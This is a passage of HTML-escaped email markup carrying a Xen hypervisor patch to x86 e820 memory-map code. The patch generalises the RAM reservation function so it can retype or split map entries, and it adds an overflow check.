&lt;p class=MsoNormal&gt;&lt;span style='font-size:11.0pt;font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
color:#1F497D'&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;diff -r dbac9ee4d761 xen/arch/x86/e820.c&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;--- a/xen/arch/x86/e820.c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Mon
Sep 08 16:02:13 2008 +0100&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+++ b/xen/arch/x86/e820.c&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sat
Nov 22 02:04:51 2008 +0800&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;@@ -373,11 +373,13 @@ static void __init
machine_specific_memo&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; reserve_dmi_region();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-/* Reserve RAM area (@s,@e) in the specified e820
map. */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-int __init reserve_e820_ram(struct e820map *e820,
uint64_t s, uint64_t e)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+static int reserve_e820(uint32_t type, struct
e820map *e820,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
uint64_t s, uint64_t e, uint32_t t)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; uint64_t rs = 0, re = 0;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp; int i;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp; int i, remove;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp; remove = (type == t);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for ( i = 0; i &amp;lt;
e820-&amp;gt;nr_map; i++ )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;@@ -388,55 +390,131 @@ int __init
reserve_e820_ram(struct e820m&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
break;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( (i == e820-&amp;gt;nr_map) ||
(e820-&amp;gt;map[i].type != E820_RAM) )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( (i == e820-&amp;gt;nr_map) ||
(e820-&amp;gt;map[i].type != type) )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
return 0;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( (s == rs) &amp;amp;&amp;amp;
(e == re) )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /*
Complete excision. */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
memmove(&amp;amp;e820-&amp;gt;map[i], &amp;amp;e820-&amp;gt;map[i+1],&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
(e820-&amp;gt;nr_map-i-1) * sizeof(e820-&amp;gt;map[0]));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;nr_map--;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if
(remove)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
memmove(&amp;amp;e820-&amp;gt;map[i], &amp;amp;e820-&amp;gt;map[i+1],&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
(e820-&amp;gt;nr_map-i-1) * sizeof(e820-&amp;gt;map[0]));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;nr_map--;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].type = t;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else if ( s == rs )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /*
Truncate start. */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* If
not remove, split it in two, or else, truncate start. */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if
(!remove)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
if ( e820-&amp;gt;nr_map+1 &amp;gt; ARRAY_SIZE(e820-&amp;gt;map) )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
printk(&amp;quot;e820 overflow\n&amp;quot;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
return 0;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
memmove(&amp;amp;e820-&amp;gt;map[i+1], &amp;amp;e820-&amp;gt;map[i],&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
(e820-&amp;gt;nr_map-i) * sizeof(e820-&amp;gt;map[0]));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;nr_map++;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].addr = s;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size = e - s;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].type = t;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
i++;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].addr += e - s;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size -= e - s;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else if ( e == re )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /*
Truncate end. */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size -= e - s;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp; else if ( e820-&amp;gt;nr_map &amp;lt;
ARRAY_SIZE(e820-&amp;gt;map) )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Split
in two. */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
memmove(&amp;amp;e820-&amp;gt;map[i+1], &amp;amp;e820-&amp;gt;map[i],&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
(e820-&amp;gt;nr_map-i) * sizeof(e820-&amp;gt;map[0]));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;nr_map++;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].size = s - rs;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i++;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
font-family:&quot;Courier New&quot;'&gt;-&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
e820-&amp;gt;map[i].addr = e;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=MsoNormal style='text-autospace:none'&gt;&lt;span style='font-size:10.0pt;
